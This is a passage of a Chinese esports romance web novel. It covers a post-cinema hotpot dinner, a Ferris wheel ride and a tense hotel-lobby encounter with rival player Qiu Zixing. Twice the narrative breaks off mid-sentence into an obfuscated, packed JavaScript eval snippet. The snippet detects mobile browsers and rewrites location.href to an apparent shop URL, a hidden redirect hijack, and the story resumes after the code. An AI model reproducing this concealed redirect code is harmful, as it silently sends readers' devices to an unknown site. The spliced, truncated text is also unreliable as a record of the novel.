郁秋心里暗暗叹了口气。 要不是夜雨辰放出威胁,再碰一下腰就直接把腿搭他身上,他肯定会趁机再“不经意地”多碰几次。 他们俩这个姿势,身体都紧贴着对方,所以,夜雨辰身体发出的任何举动包括声音,他都能第一时间察觉到。 叫的很好听。 昨天上课的时候他就隐隐约约察觉到了,腰是夜雨辰的敏感点。 所以刚刚只是一个没忍住的小小报复而已。 是他先让他难受的。 而且接下来还要难受两个小时。 这种情况,不硬才不是人。 69. 破防 电影结束,影厅的灯一亮起,夜雨辰就迅速松开了抱着郁秋的手,一脸淡定的像什么事情都没发生过似的,二话不说,一个眼神都不给郁秋先疾步离开了。 郁秋:“……” 为什么给他一种提起裤子不认账的感觉。 不过他默默地跟在后面,也没有立马追上去。 细细看的话,两人脸上此时都挂着抹不显眼的浅红色。 他们都需要冷静冷静。 夜雨辰黑着脸走在前面。 他在影厅灯亮的刹那顿时反应过来自己这两个小时都做了些什么,心情瞬间差到了极点。 放下面子是一回事,但如果回忆起细节……淡定什么的直接挂不上脸! 等郁秋终于跟到他身后的时候,他才稍稍偏头丢下一句话:“晚上要是睡不着,都怪你。” 但依旧看也不看一眼郁秋。 随即,他也完全不管郁秋对此是什么反应,直接低头看着自己手机上的导航往小柯给的餐厅方向走,并下定决心—— 郁秋要是敢提这两个小时的事情,他就以武力封口。 * 好在一路上郁秋特别识趣,一个关于电影的字都没提,甚至话都没说。 等夜雨辰他们到火锅店的时候,小柯和希楠已经占好了座位。 小柯看着迎面走来的二人,目光第一时间就被郁秋脖子上挂着的奇丑无比的长臂猿和手上拎着的一大袋娃娃吸引了,不禁感叹道:“好丰盛的战利品。” 郁秋指着他脖子的那个猴笑了笑:“全是他抓的。” 小柯选择性忽略最丑的那只,并粗略地数了下袋子里的娃娃,直接看向夜雨辰:“牛逼,怎么做到的?能不能教我?” 夜雨辰坐了下来,脸上丝毫没有对抓到娃娃的喜悦,平淡道:“他抓的,我不会。” 怎么可能会承认这个丑到爆的东西是他抓的? 听到这句话,希楠正在喝茶的手一顿,小柯啧啧道:“不是吧,这你们都要把功劳推给对方?是多喜——” 话还没说完,他就注意到夜雨辰在郁秋坐到自己旁边的时候,不经意地往旁边偷偷挪了点,嫌弃似的拉开了和郁秋的距离。 小柯这才觉得这两人间的气氛有一种说不出的奇怪:“你们俩怎么了?吵架了?” 夜雨辰脱口而出:“没事。” 郁秋答非所问:“要不先点菜再聊?” “对哦,差点忘了。”小柯直接被带偏了重点。 希楠不语,只是意味深长地看着坐在他面前、就这么硬生生的转移了话题的两人。 火锅就是要人多才热闹,小柯在拿到点菜平板的时候,直接兴奋道:“番茄锅番茄锅!这可是我的最爱!” 希楠是小柯选什么他就吃什么,郁秋对吃什么也不是特别挑,反而夜雨辰在听到这三个字的时候表情僵了一瞬。 不过在选第二个锅底的时候,小柯还是询问了面前这两人的意见:“要不再点个辣锅?他们家的招牌。” 毕竟火锅无辣不欢,番茄锅也是仙品。 “……” 看着小柯眼里满是对这两种口味的喜爱,夜雨辰更加沉默了。 小柯是喜欢这两个口味,其他两人看上去对此也没意见。 他的口味放在这里反而变得有些格格不入了。 郁秋喝了一口水:“我不吃辣,清汤吧。” 小柯疑惑道:“我怎么记得你挺喜欢吃——唔!” 话没说完,他的嘴巴就被希楠捂住了。 希楠立马附和:“好,清汤,我刚好胃有点不舒服。” 听到这句话,小柯皱起了眉,直接甩开希楠的手站起身:“那你们先点,我去买胃药,希楠你记得帮我点我的最爱啊!” 希楠浅浅一笑:“嗯,麻烦了。” 小柯一离开,夜雨辰轻微皱起的眉头终于松开,对希楠道:“谢谢。” 毕竟他是唯一一个对锅底有异议的人,最关键的是小柯脸上还满是想吃的表情,那他就有点不好意思开口泼冷水。 “不用谢我。”希楠喝了一口热茶,“而且我现在确实胃不太舒服,所以谢你身边这位第一个打圆场的就行了,他热衷吃辣。” 夜雨辰幽幽地把视线瞥向郁秋。 他刚刚当然听到了这句话,郁秋爱吃辣。 郁秋笑着否认:“胡说,那是老万爱吃,你们俩记错人了,我本来就不怎么吃辣的。” 说着,视线不经意地看向夜雨辰,恰巧两人来了个对视。 夜雨辰在视线碰上的瞬间就有些心虚地挪了回去。 也是,应该是小柯他们记错了吧? 郁秋怎么可能知道自己的忌口是什么? 他在对方面前凡是看到自己讨厌的东西都从没把‘讨厌’这两个字摆在脸上过,包括给他点全是他讨厌吃的外卖的那天。 在全部点的菜摆上桌、每个人调好自己喜欢的调料后,小柯才拿着一大袋药回来了。 夜雨辰看着那满满当当的塑料袋感到诧异:“你买这么多胃药?” 小柯干咳两声,把袋子胡乱塞给希楠:“顺便买了点其他东西,以备不时之需……” 希楠隐隐约约猜到了袋子里的东西,打开确认一眼后,没忍住勾起嘴角,意有所指的看向郁秋:“我觉得买多了,你们如果需要可以送你们一些。” 郁秋一下就猜到了这是什么东西,眼角微微一抽:“……那倒不用。” “什么东西?”听到郁秋拒绝得这么快,完全没猜到袋子里究竟还装着什么的夜雨辰被勾起了好奇心,想凑过去看一眼。 “没没没没什么!” 小柯红着脸慌乱地捂住袋子口。 他羞怒地瞪了一眼希楠,然后有些尴尬地看向一脸茫然的夜雨辰和意味深长地看着他的郁秋,硬生生地转了个话题,“你们就不好奇为什么我买药买了那么久吗?” 希楠像没看见小柯眼神里的警告,悠悠道:“挑了很久才买到合适心仪且有功效的。” 夜雨辰更茫然了,郁秋沉默了。 小柯的脸更红了:“…………” 他深吸一口气,把希楠的话权当耳旁风,自问自答道,“遇见熟人了,军仁他们。” 夜雨辰没反应过来:“谁?” 郁秋倒是对联盟里许多选手的名字熟知于心,挑眉道:“他们全队?” “全队不至于。”小柯笑着摆了摆手,“不过也差不多,那个臭傻逼不在。” 夜雨辰这才想起来说的是谁。 小柯遇到的应该是FQ战队的全员……首发。 没有小U,他没这个资格参加明天的活动,所以肯定不会特地跑一趟其他城市。 所以“臭傻逼”这三个字指的是谁不言而喻。 他看向郁秋,感到疑惑:“邱子幸不会来?不是规定所有战队的参赛选手都得参加吗?” “他才不愿意浪费时间在这种活动,能用钱解决的都不是事。”郁秋夹了口菜,不屑道,“毕竟这种活动总会有一些官方的摄像头和自媒体博主来采访拍摄,所以就算是做做样子都要和队友假面关系友好,他做不到这个,会觉得有失身份,所以每次都会找一些随便的借口请假不来,实在不行就塞钱。” 小柯赞同地点了点头:“他就是那种又想做职业选手却又看不起职业选手的类型。” 被邱子幸的第一个看不起的受害者希楠:“哼。” 夜雨辰不解:“为什么?” 怎么会有人想做职业选手却看不起职业选手? 郁秋解释道:“打职业不少人一开始的目标都是冠军,毕竟是这个游戏的顶尖荣誉,这是钱买不到的东西。” “但电竞是近几年做起来的火热行业之一,成功成为了许多对未来人生没有盼头、迷茫的人选择的就业新道路,特别是那些家庭条件本就比较一般甚至说不好的人,他们来打职业当然会想要冠军,但首要目标还是赚钱养家,因为如果没有这些新兴行业,起码一半以上的现任选手、裁判、教练以及幕后的成员等等,包括甲级联赛的青训们和青训营的那些人,最后结果大概率都只能进厂做粗活,拿勉强够生活的工资度过下半余生。” 说到最后一句话,郁秋的眼神不禁黯淡了些。 这是乌宁以前跟他聊天时说过的话,乌宁家里的背景就是如此。 虽然这是他人生里第一次真实的接触到这样背景的人,但他从没介意过这些。 小柯点头赞同道:“我们关系好的不少人原本的情况也差不多。” 夜雨辰没说话,但他也认同这种说法。 他也有认识这样的人,确实,这样的人在电竞行业真的挺常见的。 家庭环境和经济较差,虽想拿下冠军但为了赚钱养活自己或家庭而放弃这个目标的人实在是太多了。 郁秋将话题掰回正规:“而邱子幸有钱且性格高调,一出什么事就想着用钱解决问题,包括舆论风波需要砸的钱也是他轻而易举就解决的事,所以联盟里总会有人会忍不住去谄媚他。” “他是享受着这种被谄媚的感觉但同时又看不起这些为钱低头的人。” 嘴上是这么说,但是郁秋的眼里写满了对这两者的嫌弃。 希楠总结道:“邱子幸家里在社会的阶级极高,所以他看不起大部分的职业选手,无法融入。” “不过……”郁秋像是回忆起什么有趣的事情,好笑道,“我刚进队的时候,他发现我没钱且看到我那‘平平无奇’的背景后,不知道为什么就想看我谄媚他,老在我视线范围内不经意地炫富,但也只有石简益那个狗腿子和他带来的那些拥趸会捧场。” 说到这,他没忍住嗤笑一声:“小丑跳梁。” 夜雨辰不禁皱眉:“但既然有这种看不起队友的心里,那赛场上就没办法做到相信队友吧?” 比赛场上可是要把自己的后背交给队友的,如果本身看不起队友,那就说明根本无法融入团队里,那最后无论如何都会影响到比赛和队友配合的心态的。 小柯挥了挥手,对此不以为意:“相信不了队友所以干脆就让他们都听自己的想法咯,不然为什么JYY的成绩会断崖式掉落?” 希楠惋惜地叹了口气:“不过看着自己送上冠军的战队就这么被一只臭虫带陨落了,心里确实不好受。” 小柯同样对这一点感到遗憾。 JYY毕竟是他们俩开始打职业的第一个战队。 “没事。 ”夜雨辰吃了一大口肉,轻描淡写道,“战队今年就能夺回冠军了。” 仿佛这件事对他来说就是小事一桩。 听到这句话,郁秋夹菜的手一顿。 小柯和希楠也同时怔住了。 要知道,今年最大的职业比赛只剩下一场了,这不就是说即将开始的比赛他直接想着夺冠? 半晌,小柯还是没忍住笑出声:“你当着我们的面这么大放厥词?好歹我和希楠还是联盟公认的‘第一中野’,给我俩点面子?” 而且他们现在所在的战队在这一年里的成绩都稳定在联盟前三。夜雨辰说这种夸下海口的话,属实没把他们俩个老选手放在眼里。 郁秋在旁莞尔道:“给你们面子干嘛?我们今年本来对冠军就势在必得。” 希楠小酌一口,轻笑道:“常规赛,我们等着。” 夜雨辰一下听出来希楠这句话深藏着的意味。 听着没什么大不了,但也算是封战书了。 常规赛是季前赛,一共有三轮,而JYY如果想在常规赛遇到小柯他们的PG战队,必须在前两轮的常规赛打进小组前二并赢下卡位赛晋升小组等级,他们要从B组打到S组才行,而季后赛的参赛要求是A组和S组的战队,B组的战队是没有这个资格的。 通常来说,一个战队在一个赛季的级别最多只会升或降一名,这种跨两级的升降都是极其少见的情况,因为这实力的跨度相对来说还是比较大的,一个战队再怎么换成员,总体的打法依旧不会变动太大,就算变化很大,常规赛里其他战队也会不停研究每个战队的新战术并开发出新的针对打法。 所以晋升两个级别对一个战队来说是不小的挑战,这个概念不是对个人的。 但—— “好。” 夜雨辰欣然接受了这个挑战。 他举起自己的杯子,自信道,“顺便也争一下你们‘第一中野’的地位。” * 七夕节是个适合约会的浪漫节日,所以小柯和希楠在今天本身除了看电影,还有个计划——坐这个城市著名的摩天轮。 甚至直接花大价钱包下了一整个轿厢,不然一舱里挤二十多个人,根本就没办法有浪漫的氛围! 但加两个人倒无伤大雅,所以小柯直接好心的邀请了夜雨辰和郁秋一起上来,美名其曰看夜景。 郁秋还没等夜雨辰回答就直接替他答应了。 送到手的机会,不用是傻子。 上摩天轮后,夜雨辰好奇地在舱内转了转。 舱内呈一个椭圆形空间,极大无比,360度的通透玻璃看清四面八方风景,并且舱内开着空调,不会让人感到夏日的一丝闷热;舱顶上挂着一个小显示屏,上面播放着对摩天轮的信息和所处城市的介绍视频,舱内正中央摆放着一个蓝灰色的长椅以便站累了坐在上面休息。 在摩天轮转了四分之一圈后,夜雨辰看着那从天到地的漆黑、只有远处亮着一些高架桥上的黯淡灯光,以及桥梁上偶尔行驶过的小轿车,再扭头看向一直紧紧地贴着舱内玻璃的小柯,挑眉道:“你……是在看‘海景’?” 海面上只有漆黑,连远边海与天的分界线都无法辨清,更不用说能不能看到海浪。 所以哪有什么海景? 小柯叹了一口气,不开心道:“我还从没见过夜晚的海面呢,我还以为是波光粼粼的那种,怎么现在什么都看不到啊?和我看到的视频不一样。” 夜雨辰感到无奈:“那些都是在海滩拍的,而且有特效和后期,海面本身不发光的。” 小柯撇了撇嘴:“失算了,过几天白天再来一次。” 希楠坐在舱内的另一端看着侃侃相谈的两人,然后再看向坐在自己旁边扶额、根本不看外面景色的郁秋:“你恐高?” 郁秋直接瞥开话题:“不重要,有事直说。” 两个人的音量并不大,夜雨辰和小柯根本听不清他们在交谈什么。 “电影好看吗?”希楠突然问道。 郁秋的手一顿,随即表情复杂地看着希楠:“好歹提前说一声是情侣座吧?让我有个心理准备。” 希楠冷哼一声:“又不是为你准备的,你这叫捡漏。所以好看吗?” 郁秋幽幽地瞥开视线:“忘了。” 希楠顿时领悟:“很精彩。” 顺便补充了一句,“我说的不是电影。” “……”郁秋回忆起电影里发生的细枝末节,有点控制不住上扬的嘴角,“确实。” 希楠诧异:“亲了?” 郁秋无语:“你们俩看恐怖片会亲?” 希楠皱眉:“牵了?” 郁秋一噎,没有回答。 希楠嫌弃:“就抱?你会不会约会啊?给你机会也不中用。” 刚想对前半句话说个“嗯”的郁秋:“……” 半晌,他才有气无力地反驳道:“又没谈,怎么可能做这些?” “怎么不行?”希楠冷哼一声,鄙夷地看着郁秋,“互相喜欢有好感的前提下,只要你想做什么,借口还不好找吗?打个虫子都可以顺便牵个手调戏一下或间接碰一碰,或是随便卖个惨什么的都是机会,除非你完全不敢。” 郁秋:“。” 希楠瞥了一眼玻璃外的夜景:“胆小的人,是抓不住自己喜欢的人的。” 说完,他就不管郁秋的反应,站起身往小柯的方向走去。 小柯恰好在这时候也把夜雨辰往郁秋的方向推了推:“你先去找郁秋吧,我要和希楠聊一会,晚点继续跟你说一些其他队员的小八卦。” 八卦听着听着就开始发呆的夜雨辰:“啊,哦,好。” 走的时候,他依稀听到小柯一些断断续续的对希楠的话:“……你……最好……轻……” 夜雨辰感到疑惑。 奇奇怪怪。 不过,他对着两人聊什么并没有任何的好奇心。 他走到不知道什么时候站到玻璃边的郁秋,顺着他的目光方向看去,好奇道:“你在看什么?” 郁秋一只拳头紧握着,咬牙道:“触、景、生、情。” 听上去有点生气。 夜雨辰放过去视线——这个方向的夜景确实比啥都没有的大海好看许多倍,高楼大厦灯火通明,有些大楼甚至展示着灯光表演秀,美不胜收;暖黄色的路灯下车水马龙,下班时间不少人都着急着回家,和家人一起吃一顿香喷喷的晚饭。 而稍微近一点的比较显眼且熟悉的建筑,就是欢乐商场了。 夜雨辰若有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17081163|195317||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 所思地看着这个商场,并环了一圈这个商场附近的低矮建筑。 半晌,他叹了口气,轻轻拍了一下郁秋的肩膀,安慰道:“没事,都过去了。” “?” 郁秋一怔,眼里闪过一瞬茫然。 什么都过去了? 他只是对林希楠刚刚对他说的话有点破防而已。 他胆小?! 他要是胆小的话在影厅里都直接把夜雨辰推开了! 不过,他顺着夜雨辰的目光看去,想看看这家伙究竟在说什么——欢乐商场。 郁秋:“……” 这家伙以为自己想起青训的日子了? 触景生情这四个字只是一个借口而已。 不过—— 他微微垂下眼眸,将对希楠的意见皆数藏进心底深处,轻轻地颔了颔首:“嗯。” 夜雨辰听着郁秋不太高兴的声音,站在他旁边,默默地陪着他看着面前的城市夜景。 他知道有些事情会对一个人心里造成多大的阴影。 此时,摩天轮刚好升到了最高点,这整一个片区五彩斑斓的城市夜景尽收眼底,其中也包括他们住的酒店。 下一秒,夜雨辰呼吸微微一滞。 他的手突然被紧紧地抓……不对,牵住了。 他双眸微微瞪大。 他身边现在只有郁秋能牵到他。 而且,他还很明显的感觉到,郁秋的手在轻微颤抖着。 “……” 夜雨辰张了张口,想说些什么。 该说一些安慰的话吗? 但安慰什么比较好? 他甚至觉得这个突然握住他的手的举动有点奇怪,有点想把自己的手抽出来。 但最后,他什么都没做,也什么话也没说。 算了,给这家伙握一会吧,都难受到在发抖了。 之前在酒店里讲青训被背刺的所有淡定果然都是装的。 毕竟人怎么可能这么轻而易举的放下自己的阴影。 * 等下摩天轮后,夜雨辰才甩开郁秋的手去找小柯,郁秋当然完全没解释自己这个莫名的行为,只是挑衅地看向希楠。 夜雨辰在看到小柯的第一眼,许是夜晚和路边黯淡的光线让他产生了错觉,皱眉道:“你的嘴怎么了?” 看上去好像比刚刚红肿了些。 小柯轻啧了一声,擦了擦自己的嘴,恶狠狠道:“没事,希楠给我调的火锅配料太辣了,辣肿的,都怪他。” 夜雨辰更加觉得不对劲了。 可是刚刚在摩天轮里的光线充足的时候,他看着也没这么肿吧? 等他们几个回到联盟战队集合的酒店后,视野一亮起来,夜雨辰又发现了一处奇怪的地方,指了指道:“你的脖子怎么了?疼吗?” 这个他记得,刚刚这个红包是没有的。 小柯下意识地捂住自己的脖子,声音略显心虚:“可能回来的时候被虫子咬了吧?你也知道,广东这边的蚊虫比较毒……” 夜雨辰疑惑地皱起眉,话虽如此,但还是觉得不太对劲。 他死死地盯着那块蚊子包。 小柯的脸色越来越不自然了。 这时,零落刚好手里拿着两包东西朝他们走来了。 小柯一见有救星来了,立马分散夜雨辰的注意,朝对方招了招手:“哟,零落。” 零落走到二人面前第一时间便注意到小柯脖子上那一抹暧昧的红色,意味深长地看了一眼,然后指着酒店站着一个战队的方向道:“你们战队在那。Night和郁秋我先带走了,有个小会要开一下。” 小柯上前拍了拍零落的肩:“别那么排外嘛,好歹我也是JYY出生的,所以听听你们的会议也没什么,反正我们战队不急,希楠会帮我报道的。” 零落平静的脸挑起了眉。 突然,他嘴角扬起一抹诡异地笑:“好啊,顺便送老成员一份礼要吗?” 小柯惊喜道:“哇,这么客气?那我必须去了。” 零落在把酒店卡和两套黑白相间的衣服塞进夜雨辰的手里,叮嘱道:“这是新定制好的队服,明天必须穿上,别穿错了。” 之前选秀大会给的那套是旧队服,夜雨辰还特地带来了。 郁秋看着这黑白相间的衣服,皱眉道:“我设计的那套不好看?怎么是这个颜色?” 零落皮笑肉不笑道:“是挺好看的,但由于做工材料不足,所以做了一件样本就跟我们只好换颜色了,刚刚好虞柯说喜欢,所以打算送给他。” 说着,他不知道从哪掏出来了一件粉色和荧光黄相间的衣服以迅雷不及掩耳的速度塞进了站在他后面的小柯的手里。 小柯看到这一套衣服,脸瞬间垮了下来:“不是,这配色,你是要我在摄像头底下做黑炭吗?” 好狠心的报复。 夜雨辰在看到这个配色的衣服第一时间松了口气,随即听到小柯说的这句话,抿紧嘴唇憋住笑意,其他队员同样也是事不关己地幽幽瞥开了视线,但想笑的欲望是真的藏都藏不住。 郁秋不满,双手抱胸道:“这是哪家战队派来的卧底?上来就搞我们队员的心态?” One点头:“同意,赶紧赶走,怎么能偷听别的战队开会内容呢?素质极差。” 开开提醒道:“顺便带着他喜欢的东西一起走。” Qian默默地点了点头表示认可。 小柯欲哭无泪:“哇你们怎么这样!说好的昔日队友百日恩呢!” 但他又不知道手上这件奇葩配色的衣服该塞给谁,除了郁秋,每个人对这件衣服都写满了嫌弃,而郁秋咬定他必须接受这件好看的衣服。 夜雨辰看着战队热闹非凡、每名队员都挂着喜悦的画面,脸上情不自禁地挂上一抹笑容。 这种战队其乐融融的温暖氛围,他很喜欢。 突然,郁秋收回了脸上的喜悦。 夜雨辰第一时间就察觉到了他的不对劲。 只见郁秋轻轻皱起眉头,将视线瞥向酒店的大门口中央,双眸微眯。 夜雨辰随着郁秋的视线看了过去。 其他人也接连发现郁秋的不对劲,同样向大门口看去。 见到来人,大家的笑都收了起来,表情严肃了不少。 一名戴着墨镜、身穿红色运动裤和白色衬衫的清秀男子单手插兜,直勾勾地朝着他们的方向走来。 看上去和他们年龄相仿,但他身上仿佛自带生人勿进的气场。 酒店大堂,有些不少选手都注意到了这名男子的到来,投过去了各式各样的视线——好奇、算计、惊讶、嫌弃…… 但这名男子对所有投放到自己身上的目光完全不以为意,依旧悠然自得地朝着自己的目标走去。 “郁秋。” 这名男子在郁秋面前停下脚步,摘下了自己的墨镜。 郁秋冷漠道:“有屁快放。” 顺便将夜雨辰往自己身后拉了下。 “别紧张,有段时间没见了,这不是和老队友打个招呼嘛?” 这名男子似全然没把郁秋的态度放在心上,不过,他也没放过郁秋这偷偷摸摸的小动作。 他不经意地扫向夜雨辰,嘴角一勾,轻佻道:“这就是……代替我的中单?” 完全没把夜雨辰放在眼里。 夜雨辰的眼神瞬间冷了下来。 他知道这人是谁了。 邱子幸。 但吃饭的时候不还说这人的性格是不会参加这种联盟组织的集体活动吗? “别把他和你相提并论,他的实力你一辈子模仿不来。”郁秋挡住邱子幸看夜雨辰的视线,冷言道,“而且我也不记得我们关系好到见个面就需要打个招呼。” “可我真的是来打个招呼的啊。” 邱子幸顿时有些无辜,但他依旧意味深长地看着郁秋身后的夜雨辰,脸上扬起一抹不怀好意的笑容, “毕竟听到职业圈里这么厉害清高的秋居然也会开始走cp路线炒热度,难免会有些惊讶嘛。” 说着,他悠悠地转过身,朝他们挥了挥手,欲做离开。 “啊,对了,差点忘记说正事了。” 突然,邱子幸离开的动作一顿。 他回首看向JYY的众人,脸上的笑容一如刚刚,却让人感到一抹更加虚伪的寒意。只听他悠悠道, “想打招呼其实就是想跟你们说一声,石简益是我玩这个游戏里唯一的最好的兄弟,仅此而已。” 70. 索吻 邱子幸的到来只是一个微不足道的小插曲。 众人该开会的开会,该做事的做事,只是每个人脸上都挂不回刚刚的笑容。 太扫兴了。 回到各自的房间,郁秋一关上门夜雨辰便有些小心翼翼地问道:“所以,邱子幸是参加明天的活动?” 毕竟他发现郁秋自从在见到邱子幸以后表情就严肃到现在。 郁秋握着刚关上门的门把手,低垂着眼眸:“应该是,来这里只会是参加这个,不至于专门跑一趟就为了和我们‘打个招呼’……” 话戛然而止。 整个房间顿时安静了。 半晌,他才低沉地吐出几个字,“出乎意料。” 虽然是迟早的事,但这家伙在以前可是从不参加这种官方的集体活动的。 夜雨辰一边拿出行李箱里的东西,一边继续问:“他的‘招呼’是有什么别的意思吗?” 他对这个人完全不了解,但他可不会天真的认为邱子幸来是专门来打个招呼的,何况这个招呼听上去就别有深意。 郁秋没有第一时间回答,而是站在原地一动不动,垂眸在思索着什么。突然,他抬头看向夜雨辰,低沉道:“夜雨辰。” 夜雨辰听着这声音,手不禁一顿,看向郁秋,皱眉道:“怎么了?” 怎么表情好像更严肃了? 郁秋看着他,虽然依旧挂着一如往常的微笑,但眼里没有丝毫的笑意:“你有没有兴趣听听石简益现在大概怎么样了?” “没有。”夜雨辰对这个答非所问的话题感到疑惑,但也并不生气,“不过如果你知道的话,我可以听听。” 郁秋轻笑一声:“还记得Kimi吧?” 夜雨辰点头:“记得。” “她闲着无聊开了个工作室玩玩,其中就包含租号、代练和陪玩的业务范围,算是现在游戏界里最好的那家吧?”郁秋一边介绍着,一边朝着夜雨辰慢慢走来,“所以她认识不少靠这个游戏赚钱的人。” “除了那些对此有需求的常客老板,这个游戏相关的导演组、陪玩团、卖号或转租账号的相关人员,以及其他代练工作室的顶层,可以说是这个游戏衍生出来的用来赚钱的行业的不少人员,她关系都不错。” 郁秋说着,脸上的笑意更深了。 夜雨辰恍然大悟这层意思:“所以本来想不打职业但是想用代练演员这些方法赚钱的石简益……” 郁秋点头:“对,因为Kimi和他们放过话,所以很多人不会为了和她作对而接受石简益到自己门下,而且正规的团都有各种考核以及需要签署合同,所以他要浑水摸鱼也很难。” 说着,他嘴角没忍住勾起一抹玩味的笑容:“以Kimi这几年的作风,和她作对的对手似乎都没有过好下场,而和她互相合作过的人都吃过不少的甜头,所以谁都不会为了个打手选择做没生意的风险,当然,邱子幸不知道我和她认识。” “所以我还知道邱子幸背地里还给一些工作室塞钱说要他们收石简益来着,但几乎都是撞墙结束。” 夜雨辰抬头,若有所思地看着走到自己面前的郁秋,第一时间就抓到了这个问题的重点:“她为什么会针对石简益?” Kimi和石简益无仇无怨吧? 郁秋理所当然道:“因为他惹我生气了啊。 ” 夜雨辰脸上顿时闪过一抹不自然:“你们关系可真好。” 郁秋挑眉,又往前迈了一小步,两个人之间的距离更近了。 夜雨辰这才注意到两人的距离似乎过分接近,下意识往后退了一步,后背抵在了墙上。 他幽幽地瞥开自己的视线,语气里夹杂着一些不悦的味道:“所以和我说这些是想说什么?” 石简益现在的处境来看,如果想赚钱,很多工作室的路子都走不了了,大概只能靠接私下没有保障的单子来赚钱吧? 但这些怎么样关他什么事,不都是Kimi在为他出头吗。 郁秋一只手撑在墙上,锁在夜雨辰身上的目光深邃不见底:“火锅时说的邱子幸的为人,只有石简益对他来说是例外,石简益家里的条件不算好,而且以石简益的性格来说,他也不会贸然收下邱子幸的转账。” 石简益以前潇洒的钱可都是俱乐部发的“高额工资”,里面少不了邱子幸的手笔。 他笑道:“石简益习惯了赚大钱花大钱,但在游戏里的赚钱门道大减,而邱子幸背地里尝试帮他找渠道过居然难得的碰壁了,所以你觉得邱子幸会怎么想?” 夜雨辰闷闷不乐地随便甩了个词:“生气?” 郁秋眸光内敛了些:“好友被禁赛,他肯定第一时间会去问发生了什么事情,毕竟联盟这种公告很难出现作假的可能。” 夜雨辰一怔,好像猜到了什么。 郁秋继续道:“所以他会知道我在战队做了什么,疑似做过什么,以及猜到石简益这一个月不在战队后的情况和我大概率脱不开关系。” 夜雨辰抬头看向郁秋,肯定道:“包括我给他一拳和他对我说的话。” 照这么说,邱子幸现在一定清楚知道自己进基地的当天和石简益发生的摩擦,甚至知道石简益是说了什么让他没忍住给了一拳。 而且自己刚进基地第二天石简益就被人举报了,所以邱子幸有充分的理由怀疑这是夜雨辰做的。 他会认为石简益现在处境的两个罪魁祸首就是他们两个,所以他要替兄弟出头? 夜雨辰微微皱眉。 如果真是这样就能说明为什么邱子幸刚刚看他的目光满是“好奇”了。 郁秋点头:“嗯,加上他刚刚对你的关注……” 以前邱子幸放他负面消息的时候可是包括过制造他的绯闻的,只不过绯闻相关的词条总会在互联网上莫名其妙蒸发,但这个月‘炒cp’的声音可从没消失过,甚至热度不减。 所以他肯定也会察觉到不对劲。 很大可能会发现他对夜雨辰的异样。 郁秋看着夜雨辰的眸里闪过一抹自责,沉声嘱咐道:“夜雨辰,明天活动开始前会有一些人采访的,你如果被采访了,记住,所有的回答尽量做到模棱两可,别把话说死……” 如果实在没注意到没做到这些,也没关系,他可以垫底。 夜雨辰是一个会去在意别人话语的人。 除了游戏,“心态”是夜雨辰的弱项,虽然邱子幸不知道这一点,但他最喜欢的一个手段就是用外界舆论声来压一个人,手段很多,防不胜防。 所以夜雨辰必须学会应对一些目的不纯却无法避开的镜头。 这些东西只能靠他自己体会与经验积累,郁秋只能做到提醒和善后。 而且护得太死也不好,会限制住一个人的成长。 见郁秋这么苦口婆心,夜雨辰眨了眨眼:“所以他打招呼的目的是为了跟我们说他要针对我?” 话都说到这份上了,他不可能猜不出来。 并且他打职业前也遥想过自己会不会遇到的无良媒体。 所以他大概懂郁秋说这些是什么意思。 甚至在提醒邱子幸的针对手段可能不会那么简单。 总之提防是件好事。 郁秋不情愿地点了点头。 夜雨辰冷哼一声,不屑地擦了擦拳头:“就这?小小邱子幸而已。” 完全没把邱子幸放在眼里。 “玩阴的也没用,比赛照样打爆他,电竞最后还不得是用实力和成绩说话。” 他在榜上可没怎么见过邱子幸这个岌岌无名之辈。 说着,他哂笑地看向郁秋:“何况他连你都奈何不了,怎么可能奈何得了我?” 他还可以趁机多练练自己的心眼,做到在这种环境下保护好自己。 郁秋一怔,随即眯起眼睛笑道:“哇塞。” “不过,”夜雨辰似乎觉得自己装过头了,有些心虚地将视线瞥向一边,小声问道,“如果我真被抓去采访,除了你说的这个回答模棱两可,我还要注意其他什么吗?” 毕竟具体会面对什么他也不清楚,不能只说得倒做不到啊。 郁秋思索了一下:“眼神在镜头前不要到处乱飘、所有言行举止甚至体态都最好注意一下,和——” 他突然停住继续往下去说,意味深长的看着夜雨辰,目光带着股不明的意味。 夜雨辰垂眸,微碎的刘海遮住他感到不耐而皱起的眉头。 这种老是不说完话的行为让听的人真的很难受,很欠打。 他耐着语气问道:“和什——” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17081164|195317||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 话没说完,他突然睁大了双眸。 他猝不及防地被捏住下巴,强行被这只手掰过抬起和郁秋对视着。 只见对方俯下身,脸上勾起一抹玩味的笑容,别有深意道:“和我保持亲密的距离,我们现在是大众眼里的couple不是吗?” 二人几乎是脸贴着脸的距离。 天花板的暖黄色射灯在二人头顶上洒下,面前人白皙、毫无瑕疵的面庞就这么突兀地放大了好几倍…… 看着对方幽深地眼神,和微微颤抖地长睫毛,夜雨辰没忍住吞了口唾沫,脑子里顿时闪过一个刚刚的画面。他的音量不自觉有些减小,不知道为什么有股莫名的心虚,问道:“怎么个亲密法?” “……” 郁秋保持着一手撑墙、一手抬着夜雨辰下巴的姿势,双眸微眯,目光似不经意地向下挪了一下,眸里闪烁着蠢蠢欲动的光。 倏地,他收回双手同时向后退了一步,偏过头不再看着夜雨辰:“反正就是别和我像陌生人似的隔得远远的,不然被抓住细节可是会被喷恶意炒——” 话还没说完,猝不及防,郁秋呼吸一滞,双眸逐渐瞪大。 